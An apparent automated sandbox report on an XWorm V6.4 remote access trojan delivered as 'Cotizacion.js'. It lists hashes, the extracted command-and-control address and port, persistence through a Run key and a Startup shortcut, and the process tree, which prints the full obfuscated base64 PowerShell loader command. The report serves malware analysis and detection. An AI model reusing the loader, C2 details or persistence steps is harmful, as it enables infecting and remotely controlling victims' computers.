xworm | a02f741d30e33d72c6fdecf0ae1fafa2c44bfd40987a9480c2a11d8f5cd058d4

Analysis

max time kernel
103s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
07/10/2025, 18:05

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General

Target
Cotizacion.js
Size 301KB
Sample251007-wpfw9swzcv
SHA256 a02f741d30e33d72c6fdecf0ae1fafa2c44bfd40987a9480c2a11d8f5cd058d4
MD5 d7934855370a22c165563e3c96ab4f2f
SHA1 835f75426cd2a5e377286c84cf3ef6d3823095cc
SHA512 334e02746af710dbdb91abb8c559daf78490a3ad0aec41408c18dbb50f273907b1db23917f34391383a33721218c10988aae70c5b80717a40ee022e74c69b6b7
SSDEEP 3072:JJFImrWyyfwimdGWzFr8mxM6DMw0iuavFVZnhBqJm33jsGzy+zWsyBFcdHwQJYGK:rGzo0iuYCLGsJFOy
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

XWorm V6.4

216.250.253.99:2478

Mutex

tolEeHs5xdzS6i3Q

Attributes

Install_directory
%AppData%
install_file
XWormClient.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/5556-23-0x0000029565F80000-0x0000029565F90000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	1840	cmd.exe	83

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	5556	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1560	XWormClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1567862796-3850854820-1319363977-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XWormClient = "C:\\Users\\Admin\\AppData\\Roaming\\XWormClient.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5556	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5556	powershell.exe
5556	powershell.exe
5556	powershell.exe
1560	XWormClient.exe
1560	XWormClient.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5556	powershell.exe
Token: SeDebugPrivilege	1560	XWormClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5556	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2432	2060	cmd.exe	86
PID 2060 wrote to memory of 2432	2060	cmd.exe	86
PID 2432 wrote to memory of 2324	2432	cmd.exe	87
PID 2432 wrote to memory of 2324	2432	cmd.exe	87
PID 2324 wrote to memory of 5556	2324	cmd.exe	89
PID 2324 wrote to memory of 5556	2324	cmd.exe	89
PID 644 wrote to memory of 1560	644	cmd.exe	92
PID 644 wrote to memory of 1560	644	cmd.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Cotizacion.js
1⤵
PID:3240

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBgkoditbmet2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFgkoditbmetwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVgkoditbmetABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBugkoditbmetAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUgkoditbmetAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAgkoditbmetA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AgkoditbmetDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AgkoditbmetKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAgkoditbmetkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADgkoditbmetEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcgkoditbmetwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwgkoditbmetAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4gkoditbmetAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQgkoditbmetAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAgkoditbmetF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAgkoditbmetKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABgkoditbmetyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACgkoditbmetAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIgkoditbmetgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABygkoditbmetAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIgkoditbmetAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwgkoditbmetB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAgkoditbmetDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AgkoditbmetUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAgkoditbmetpADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHgkoditbmetcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbgkoditbmetABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8gkoditbmetACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4gkoditbmetAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQgkoditbmetAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAgkoditbmetCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAgkoditbmetNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABgkoditbmetsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGgkoditbmetwAYQBjAGUAIgBhAHAAcABsAGUAcABlAGEAcgkoditbmetgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAigkoditbmetAHYAawBiAGUAcwBlAHYAcQBrAGkAYwBwAHkgkoditbmetAaQBwACIALAAiACIAKQA7AGkAZgAoACQAYQgkoditbmetBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AgkoditbmetCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAgkoditbmetbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBgkoditbmetHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGgkoditbmet4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYgkoditbmetQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhgkoditbmetAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGggkoditbmetAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQgkoditbmetAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAgkoditbmetEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAgkoditbmetOQBiAEUARgBOAGcAeQBhACsAMwBXAFYAawBgkoditbmet2AEUAaAA1AFMAbABWAGQAVAAwAEYAWgBMAHgkoditbmetUAawBWAGEAVABnAFIAdAB3AEEASgB2AGEASgkoditbmetgBnAG0AWgArAHQAOQBuAEkARQBuAFQAdABGgkoditbmetAG8AMwBQAGkAQgA4AGYAYwA2ADUAbAAzAE8gkoditbmetAdgBiAGMAUQBrAG0ARQB5AFIAagBRAHgAZwgkoditbmetBzADkAYgBJADcAUQA0AHUATwB1AGYAZAB0AgkoditbmetGoASAB4AHcANQBqAG8AOABCAHUAbgBkAFQAgkoditbmetdQBTAEkATwBTAHQAVQBTAEYAdgBDAGYAZQBgkoditbmet4AFIAOQBTAGIAOQBpAFIAbgB2AHEASwBjAGgkoditbmet8AWAB6AEoAdwBUAFEAeQBJAGsAagA2AGEAMgkoditbmetABhAEUAOQBSAHYAcAB4AHkAQQBnAHkANQBVgkoditbmetADkAZABnAHUAcABJAE0AVQB1ACsATABtAGcgkoditbmetAcQBzAEMATwBLAEQATABGAFEAMABHAHkAcQgkoditbmetBNAEEAZABrAEgAZQB0AGwAaQBPAEEASwBEAgkoditbmetEMAdAA5AGoAWQBUAG4ALwBNAEEAWABxAEUAgkoditbmetNwBOAEkAdABBAGwATQBCAFMANQBkAGgANQBgkoditbmetLAG4AQgBGAGcAbwBDAHkAOABCAFcATgBGAFgkoditbmetcAbwBsAGMAbgBYAG0AdQBFAGQAUABaAGMANgkoditbmetgBnADIARQBnADQAbgBNADEAQQBLAEEAMAA4gkoditbmetAEUAVAB3ADkASgBoAEkATwBQADcAdABLAGEgkoditbmetATAA3AFoAaQBBAGMAMwA5AHkAdwA2AEcAQggkoditbmetAxAGMATAB1AFAANQBhAGEAWgBHADgAMwBOAgkoditbmetHgANwB3ADIAdgB3ADAAcwB4AFUAZwA3ADUAgkoditbmetNABWADYAegA3AG0AUgAvACsAYgAwADMANABgkoditbmetuAFoAagA1ADEAOQA3AE4ALwArAFUAWQBuAGgkoditbmetsAWQA1ADMAcwAzAG8ANAA3AHoALwByAHIAdgkoditbmetgBUAHUASABMAC8AdABIAGkAdgBoAC8AYQBHgkoditbmetADcAawBBAC8ATwByAFgAUgBHAFgAOQBSAHIgkoditbmetAMwAyADkAKwB0ADYAYwAyADIAMABBAEoAVQgkoditbmetBMAFYAawBPAGYATQBQAEYAUQBFAEMAWQBuAgkoditbmetFgASwBRAG4AbABKAEgAawBPAE8ARgArAHYAgkoditbmetTgBYAGgASgB2AHIAWQBSAEkAOQBMADMAQQBgkoditbmetjAFcAcQB1AGkAbABFAHYAQgBYAEsAagBNAHgkoditbmetUAbgA3AFYAMgBKAC8AeABZAFMAUAB0AGgATgkoditbmetQAxAGEAaABsADAANwBWADgANwBtAEMAbgBPgkoditbmetAGIAYwB2AG8ARAA1AGgAMAB0AHYAQwByADUgkoditbmetAQwBLADkAdAA2AGwALwBnAGMAVQBpADQASwgkoditbmetA3AFIAVwBRADEARwB4AHUATQBlAHMAcwBZAgkoditbmetGEANQBpAGUASgAxAFoAZwAyAFgAZwBMAFkAgkoditbmetSwBYAHcAUQA1AFAATQB3AEYAUwA2AGkATABgkoditbmet4ADYAVQArAGEAcgBSAEwAVwBsAFQAWABSAGgkoditbmetUAQQBlAHkAOQBiADIAYQBNAGQAMgBJAFYAYgkoditbmetwB6AGEAUwBxAGEAQgBXAFQASABrAFoAbAAzgkoditbmetAG4AawA1ADAAZAB1ADYAcABFAHUAOABHAEsgkoditbmetAOQBYAEoAdwB5AEQAdABDAGsARQBJAEgASAgkoditbmetA5ADIAOQBYADMAagBoAGQAawB2AHIAegAvAgkoditbmetDAAdABvACsAYwB5AGsAdgA1AG0ASwBnAGMAgkoditbmetdwBTAGEAQwBpADQAbwA2AFUAawBIAHAASgBgkoditbmetvAGYAKwBrAHoAMABsAGcAagByADEAQwB3AGgkoditbmetYAagB1ADcAcABuAGgAcwB5AGcAagBTADcAcgkoditbmetwBXAHcAbAAyAG0AUgBIAEgARgBLAFYATgBigkoditbmetAG0ANwBqAEgAWgBqAHoAVwB0AHcAZgBMAGsgkoditbmetAMgBRADkAVQAzAFUAUgA3AFEAYwBqADQAbAgkoditbmetBMAGgAVQBRADgAUAB5AEYAeQAvAHYAMQBFAgkoditbmetFcAOABQAG0AUQBxAGcAVABLADYANgBxADYAgkoditbmetbwBOAG8ARwBpAE4AaQBmAGIAcQByAFUAMQBgkoditbmetwAC8AUQBwAFAAUgA0AEEAQwBUAG8ASgBNAGgkoditbmetsAUQBGAG4AcQBHAEsAcQB5AEYAMwBTAHkAagkoditbmetAB5AGgAeAAzADIAWQB3AEsAegBsAEoAZwA1gkoditbmetAFMASABUAEwAZQA1AFQAcAB2ADMAVwA0AHcgkoditbmetANwBFAGoANQBCAHAATABOAEkAaQA5AFIARggkoditbmetBsAHEARgBhADMAVQBHAFUASQBuAGEAeQAzAgkoditbmetHMASwB1AEkAVQBQAEkAYgBWAFoASABaAGEAgkoditbmetTABWAFEAdwA3AEoASwBRAEkAVwBxAHgAegBgkoditbmet4AFAAZwBOAGwAcgBjAE8ANwBKACsAdgBoACgkoditbmetsAcQBuADAAcABIADAALwBuAGkAcQB2AFYAdgkoditbmetwA0AE8AeABEAEMAbQB4AHgAegBXAG8AOQBMgkoditbmetAEcAaQByADYAcAB0ADMATwBxAHoAYgBVAEEgkoditbmetANgBMADYAUgBkAG4AUQBoAGsAbAB2AGMAdAgkoditbmetBNAHMAZAAvAHUAUwBjAHEAeABmAEgASABPAgkoditbmetDgAdgBTADMAUABrAHMARgAvADkATAAzAGEAgkoditbmetdQBvADUAWQB5AGcATwBqAGUAcQBPAHIAUwBgkoditbmetLAGwASQByAEkAYgBEADUAVwBqAE0AegBHADgkoditbmetIAMwBmAGEAaABmAFkAZgAyAFYARwAvAEYARgkoditbmetQA0AEcAQQBBAEEAPQAnADsAJABtAGEAbgBngkoditbmetAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADogkoditbmetARgByAG8AbQBCAGEAcwBlADYANABTAHQAcggkoditbmetBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7AgkoditbmetCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAgkoditbmetdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBgkoditbmetlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACgkoditbmetQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZgkoditbmetQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTgkoditbmetAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4gkoditbmetAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALggkoditbmetBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAgkoditbmetFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAgkoditbmetbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBgkoditbmetvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGgkoditbmet0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXgkoditbmetQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApgkoditbmetACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACggkoditbmetAKQAKAA=='.Replace('gkoditbmet','')))))""
      4⤵
      Badlisted process makes network request
      Drops startup file
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:5556

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XWormClient.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:644
- C:\Users\Admin\AppData\Roaming\XWormClient.exe
  C:\Users\Admin\AppData\Roaming\XWormClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

HolographicHandler.bat

Path C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat
Size 234KB
SHA256 b200ff6bb12d68e92e7db88aab0582c9e94af4cd59d81fe6bed28ad883a85c19
MD5 7e1577fa525fe2d64c0c158569b93ce0
SHA1 3d31a9a66b06b7257be9ca876e9f1a0c3d920a57
SHA512 287fbc13fe0c9a61a8a546aa67d251a6dc4ba32099e2027379091edb440a22bd063425a80605f2e0700513b457d97491d088fe1bf1152c713e536e35474122c5
SSDEEP 3072:U4YjdOmxp66ylWKcx8PRL0bbzfMCxPtpu0h1vW33GLJW7F82bue:U4rL0owPtwe1cXv
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_dk0e5ncu.pt4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dk0e5ncu.pt4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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XWormClient.exe

Path C:\Users\Admin\AppData\Roaming\XWormClient.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/1560-40-0x000001A563970000-0x000001A5639E6000-memory.dmp

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memory/1560-39-0x000001A560A60000-0x000001A560AA4000-memory.dmp

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memory/5556-8-0x000002954B140000-0x000002954B162000-memory.dmp

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memory/5556-19-0x0000029563250000-0x0000029563260000-memory.dmp

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memory/5556-20-0x0000029563250000-0x0000029563260000-memory.dmp

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memory/5556-21-0x0000029563230000-0x0000029563238000-memory.dmp

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memory/5556-22-0x0000029563240000-0x000002956324E000-memory.dmp

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memory/5556-23-0x0000029565F80000-0x0000029565F90000-memory.dmp

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memory/5556-7-0x0000029563250000-0x0000029563260000-memory.dmp

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memory/5556-6-0x0000029563250000-0x0000029563260000-memory.dmp

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memory/5556-41-0x0000029563250000-0x0000029563260000-memory.dmp

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memory/5556-42-0x0000029563250000-0x0000029563260000-memory.dmp

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memory/5556-43-0x0000029563250000-0x0000029563260000-memory.dmp

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